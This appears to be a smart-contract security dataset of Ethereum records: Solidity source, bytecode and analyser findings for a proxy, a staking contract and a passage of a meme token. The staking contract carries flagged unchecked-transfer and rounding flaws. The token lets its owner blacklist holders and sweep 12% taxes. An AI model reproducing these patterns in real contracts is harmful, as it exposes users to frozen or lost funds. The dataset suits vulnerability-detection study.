{ _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,378
0xcc1d1a5d0aa477c1d5279dfa17a53040eb0d96bd
pragma solidity ^0.6.0; // SPDX-License-Identifier: UNLICENSED /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function ceil(uint256 a, uint256 m) internal pure returns (uint256 r) { require(m != 0, "SafeMath: to ceil number shall not be zero"); return (a + m - 1) / m * m; } } interface IERC20 { function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function balanceOf(address tokenOwner) external view returns (uint256 balance); } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address payable public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner, "only allowed by owner"); _; } function transferOwnership(address payable _newOwner) public onlyOwner { require(_newOwner != address(0), "Invalid address"); owner = _newOwner; emit OwnershipTransferred(msg.sender, _newOwner); } } contract RBTStake is Owned{ using SafeMath for uint256; address private saleContract; address private tokenAddress; uint256 public cliffPeriodStarted; event SaleContractSet(address by, address saleAddress); event UserTokensStaked(address by, address user, uint256 tokensPurchased); event RewardClaimDateSet(address by, uint256 rewardClaimDate); event RewardsClaimed(address by, uint256 rewards); struct StakedTokens{ uint256 tokens; uint256 stakeDate; } mapping(address => StakedTokens) public purchasedRBT; mapping(address => uint256) public rewardRBT; modifier onlySaleContract{ require(msg.sender == saleContract, "UnAuthorized"); _; } modifier isPurchaser{ require(purchasedRBT[msg.sender].tokens > 0 , "UnAuthorized"); _; } modifier isClaimable{ require(block.timestamp >= cliffPeriodStarted, "reward claim date has not reached"); require(cliffPeriodStarted > 0, "cannot claim reward. cliff period has not started"); _; } constructor(address _tokenAddress) public{ tokenAddress = _tokenAddress; } function SetSaleContract(address _saleContract) external onlyOwner{ require(_saleContract != address(0), "Invalid address"); require(saleContract == address(0), "address already set"); saleContract = _saleContract; emit SaleContractSet(msg.sender, _saleContract); } function StakeTokens(address _ofUser, uint256 _tokens) external onlySaleContract returns(bool){ purchasedRBT[_ofUser].tokens = purchasedRBT[_ofUser].tokens.add(_tokens); purchasedRBT[_ofUser].stakeDate = block.timestamp; emit UserTokensStaked(msg.sender, _ofUser, _tokens); return true; } function SetRewardClaimDate() external onlySaleContract returns(bool){ cliffPeriodStarted = block.timestamp; RewardClaimDateSet(msg.sender, cliffPeriodStarted); return true; } function ClaimReward() external isPurchaser isClaimable { uint256 rewards = _calculateReward(cliffPeriodStarted, msg.sender); require(rewards > 0, "nothing pending to be claimed"); require(rewardRBT[msg.sender] == 0, "already claimed"); rewardRBT[msg.sender] = rewards; IERC20(tokenAddress).transfer(msg.sender, rewards); emit RewardsClaimed(msg.sender, rewards); } function _calculateReward(uint256 toDate, address _user) internal view returns(uint256) { uint256 totalStakeTime = (toDate.sub(purchasedRBT[_user].stakeDate)).div(/*24 hours*/ 1 days); // in days uint256 rewardsAvailable = (totalStakeTime.mul(30).mul(purchasedRBT[_user].tokens)).div(365 * 100); // to take percentage div by 100 return rewardsAvailable; } function pendingReward(address _user) public view returns(uint256){ uint256 reward; if(block.timestamp > cliffPeriodStarted && cliffPeriodStarted > 0) reward = _calculateReward(cliffPeriodStarted, _user); else reward = _calculateReward(block.timestamp, _user); return reward.sub(rewardRBT[_user]); } function getBackExtraTokens() external onlyOwner{ uint256 tokens = IERC20(tokenAddress).balanceOf(address(this)); require(IERC20(tokenAddress).transfer(owner, tokens), "No tokens in contract"); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063b84e7f2a11610071578063b84e7f2a14610149578063eb564dbd14610163578063f2fde38b146101a3578063f3f2456d146101c9578063f40f0f52146101ef578063ff15439e14610215576100a9565b8063239e0303146100ae57806372730a4a146100b857806375073012146100f757806379372f9a1461011d5780638da5cb5b14610125575b600080fd5b6100b661021d565b005b6100de600480360360208110156100ce57600080fd5b50356001600160a01b03166103bf565b6040805192835260208301919091528051918290030190f35b6100b66004803603602081101561010d57600080fd5b50356001600160a01b03166103d8565b6100b661052c565b61012d610786565b604080516001600160a01b039092168252519081900360200190f35b610151610795565b60408051918252519081900360200190f35b61018f6004803603604081101561017957600080fd5b506001600160a01b03813516906020013561079b565b604080519115158252519081900360200190f35b6100b6600480360360208110156101b957600080fd5b50356001600160a01b031661087f565b610151600480360360208110156101df57600080fd5b50356001600160a01b031661096e565b6101516004803603602081101561020557600080fd5b50356001600160a01b0316610980565b61018f6109e6565b6000546001600160a01b03163314610274576040805162461bcd60e51b815260206004820152601560248201527437b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156102bf57600080fd5b505afa1580156102d3573d6000803e3d6000fd5b505050506040513d60208110156102e957600080fd5b5051600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101869052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561034757600080fd5b505af115801561035b573d6000803e3d6000fd5b505050506040513d602081101561037157600080fd5b50516103bc576040805162461bcd60e51b8152602060048201526015602482015274139bc81d1bdad95b9cc81a5b8818dbdb9d1c9858dd605a1b604482015290519081900360640190fd5b50565b6004602052600090815260409020805460019091015482565b6000546001600160a01b0316331461042f576040805162461bcd60e51b815260206004820152601560248201527437b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b6001600160a01b03811661047c576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b6001546001600160a01b0316156104d0576040805162461bcd60e51b81526020600482015260136024820152721859191c995cdcc8185b1c9958591e481cd95d606a1b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b03831690811790915560408051338152602081019290925280517f9e401bffdbed7989a1203f4817127708093631fcead39cb3a499e017901be98e9281900390910190a150565b3360009081526004602052604090205461057c576040805162461bcd60e51b815260206004820152600c60248201526b155b905d5d1a1bdc9a5e995960a21b604482015290519081900360640190fd5b6003544210156105bd5760405162461bcd60e51b8152600401808060200182810382526021815260200180610d7f6021913960400191505060405180910390fd5b6000600354116105fe5760405162461bcd60e51b8152600401808060200182810382526031815260200180610d2d6031913960400191505060405180910390fd5b600061060c60035433610a7e565b905060008111610663576040805162461bcd60e51b815260206004820152601d60248201527f6e6f7468696e672070656e64696e6720746f20626520636c61696d6564000000604482015290519081900360640190fd5b33600090815260056020526040902054156106b7576040805162461bcd60e51b815260206004820152600f60248201526e185b1c9958591e4818db185a5b5959608a1b604482015290519081900360640190fd5b336000818152600560209081526040808320859055600254815163a9059cbb60e01b815260048101959095526024850186905290516001600160a01b039091169363a9059cbb9360448083019493928390030190829087803b15801561071c57600080fd5b505af1158015610730573d6000803e3d6000fd5b505050506040513d602081101561074657600080fd5b5050604080513381526020810183905281517ffc30cddea38e2bf4d6ea7d3f9ed3b6ad7f176419f4963bd81318067a4aee73fe929181900390910190a150565b6000546001600160a01b031681565b60035481565b6001546000906001600160a01b031633146107ec576040805162461bcd60e51b815260206004820152600c60248201526b155b905d5d1a1bdc9a5e995960a21b604482015290519081900360640190fd5b6001600160a01b03831660009081526004602052604090205461080f9083610af9565b6001600160a01b03841660008181526004602090815260409182902093845542600190940193909355805133815292830191909152818101849052517f2b0c9abfbecb7fd5f7597f3d910536f2530fd3f62414d6301cf347c1b0f73e889181900360600190a15060015b92915050565b6000546001600160a01b031633146108d6576040805162461bcd60e51b815260206004820152601560248201527437b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b6001600160a01b038116610923576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60056020526000908152604090205481565b6000806003544211801561099657506000600354115b156109ae576109a760035484610a7e565b90506109bb565b6109b84284610a7e565b90505b6001600160a01b0383166000908152600560205260409020546109df908290610b53565b9392505050565b6001546000906001600160a01b03163314610a37576040805162461bcd60e51b815260206004820152600c60248201526b155b905d5d1a1bdc9a5e995960a21b604482015290519081900360640190fd5b42600381905560408051338152602081019290925280517f71ba8d41733cbb471563c2a196e0b0a56827fe9aa431f6436dd15cae8566a6f59281900390910190a150600190565b6001600160a01b0381166000908152600460205260408120600101548190610ab6906201518090610ab0908790610b53565b90610b95565b6001600160a01b03841660009081526004602052604081205491925090610af090618e9490610ab090610aea86601e610bd7565b90610bd7565b95945050505050565b6000828201838110156109df576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60006109df83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c30565b60006109df83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610cc7565b600082610be657506000610879565b82820282848281610bf357fe5b04146109df5760405162461bcd60e51b8152600401808060200182810382526021815260200180610d5e6021913960400191505060405180910390fd5b60008184841115610cbf5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610c84578181015183820152602001610c6c565b50505050905090810190601f168015610cb15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610d165760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610c84578181015183820152602001610c6c565b506000838581610d2257fe5b049594505050505056fe63616e6e6f7420636c61696d207265776172642e20636c69666620706572696f6420686173206e6f742073746172746564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7772657761726420636c61696d206461746520686173206e6f742072656163686564a26469706673582212202d0589deb045a4ce23bb7b8001458fb40a8700fcfa45dafa9ffb0038a3f2442d64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
8,379
0x1555168f58e7bfcbea5c4827e85578220c848cc3
/** *Submitted for verification at Etherscan.io on 2022-03-07 */ /* $GOODBYE by Elon Tweet Telegram: https://t.me/hellogoodbyetoken Website: Soon */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract goodbyetoken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Hello Goodbye"; string private constant _symbol = "Goodbye"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0xA99D0cB0743bACd044dc186b4412D0a3Ef91E431); _buyTax = 12; _sellTax = 12; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { require(amount <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 20_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, 